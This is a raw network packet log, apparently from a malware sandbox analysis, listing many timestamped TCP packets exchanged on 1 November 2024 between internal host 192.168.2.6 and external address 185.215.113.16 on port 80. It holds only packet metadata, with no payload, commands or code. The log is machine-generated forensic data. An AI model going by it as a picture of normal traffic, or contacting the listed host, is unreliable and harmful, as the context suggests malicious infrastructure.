Nov 1, 2024 03:46:14.301656961 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.330867052 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.330952883 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.331032038 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.331047058 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.331082106 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.331351995 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.331403017 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.331468105 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.331478119 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.331487894 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.331512928 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.331541061 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.332269907 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.332283974 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.332318068 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.332334995 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.333496094 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.333549023 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.338233948 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.338293076 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.338295937 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.338308096 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.338346004 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.338654995 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.338671923 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.338685989 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.338702917 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.338763952 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.339368105 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.339380980 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.339392900 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.339421034 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.339447021 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.340316057 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.340332031 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.340342999 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.340364933 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.340399027 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.340698004 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.340711117 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.340723038 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.340748072 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.340773106 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.341619015 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.341633081 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.341645956 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.341686964 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.341715097 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.342509985 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.342524052 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.342535973 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.342547894 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.342577934 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.342595100 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.342624903 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.343430996 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.343446016 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.343457937 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.343470097 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.343489885 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.343508959 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.344319105 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.344336987 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.344350100 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.344362020 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.344368935 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.344408989 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.345257998 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.345272064 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.345283031 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.345313072 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.345328093 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.346184015 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.346196890 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.346208096 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.346221924 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.346236944 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.346271038 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.347090960 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.347107887 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.347141027 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.347171068 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.348057032 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.348107100 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.348448038 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.348460913 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.348472118 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.348496914 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.348530054 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.349272966 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.349287033 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.349327087 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.350002050 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.350019932 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.350053072 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.350085974 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.350744009 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.350758076 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.350791931 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.350811005 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.380196095 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.380278111 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.380307913 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.380319118 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.380356073 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.380635977 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.380691051 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.388355970 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.388422966 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.388516903 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.388534069 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.388564110 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.388586998 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.389070034 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.389096022 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.389117002 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.389158964 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.405827045 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.405889988 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.405991077 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.406011105 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.406039953 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.406073093 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.406464100 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.406480074 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.406529903 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.406932116 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.406946898 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.406990051 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.407295942 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.407310009 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.407335997 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.407344103 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.407417059 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.407479048 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.408226967 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.408245087 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.408260107 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.408276081 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.408276081 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.408304930 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.408338070 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.409269094 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.409287930 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.409301996 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.409313917 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.409317017 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.409342051 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.409379005 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.411297083 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.411329031 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.411344051 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.411361933 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.411395073 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.417068005 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.417128086 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.417182922 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.417193890 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.417226076 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.417248011 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.417568922 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.417582989 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.417594910 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.417638063 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.417638063 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.418200970 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.418216944 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.418232918 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.418243885 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.418283939 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.419028044 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.419043064 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.419074059 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.419107914 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.419542074 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.419555902 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.419567108 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.419588089 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.419604063 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.449017048 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.449105024 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.449320078 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.449335098 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.449371099 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.449393988 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.449820042 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.449843884 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.449856043 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.449867964 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.449887037 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.449922085 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.450969934 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.450989008 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.451026917 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.451064110 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.461651087 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.461700916 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.461882114 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.461894989 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.461931944 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.461966991 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.462141991 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.462193966 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.462255001 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.462268114 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.462305069 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.462332010 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.463083029 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.463098049 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.463108063 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.463135004 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.463171005 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.464060068 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.464076996 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.464091063 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.464106083 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.464113951 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.464162111 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.464919090 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.464934111 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.464946032 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.464957952 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.464983940 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.465029955 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.465825081 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.465840101 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.465851068 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.465876102 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.465918064 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.466716051 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.466728926 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.466738939 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.466766119 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.466804028 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.467607021 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.467632055 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.467643023 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.467653990 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.467664003 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.467701912 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.468358040 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.468372107 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.468381882 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.468394041 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.468404055 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.468420029 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.468436956 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.469325066 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.469337940 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.469348907 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.469361067 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.469371080 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.469377995 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.469408035 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.470303059 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.470321894 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.470333099 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.470345974 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.470364094 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.470391989 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.471292019 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.471306086 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.471327066 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.471338034 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.471348047 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.471358061 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.471381903 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.472234964 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.472249031 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.472296000 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.472316980 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.498682976 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.498714924 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.498727083 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.498771906 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.498806953 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.506292105 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.506354094 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.506385088 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.506400108 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.506434917 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.506454945 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.506675959 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.506690979 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.506701946 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.506728888 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.506753922 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.523819923 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.523900986 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.523947954 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.523963928 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.523996115 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.524019003 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.524213076 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.524230003 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.524262905 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.524287939 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.524724960 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.524741888 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.524775028 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.524796963 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.525116920 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.525131941 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.525146008 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.525161028 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.525163889 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.525190115 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.525228024 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.525876045 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.525896072 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.525908947 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.525923014 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.525938988 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.525974035 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.527026892 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.527045012 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.527059078 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.527074099 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.527082920 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.527086973 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.527100086 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.527115107 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.527152061 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.527911901 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.527929068 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.527964115 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.535084009 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.535150051 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.535171986 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.535187960 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.535214901 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.535234928 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.535639048 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.535664082 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.535695076 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.535727024 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.536019087 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.536036015 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.536068916 CET	58524	80	192.168.2.6	185.215.113.16
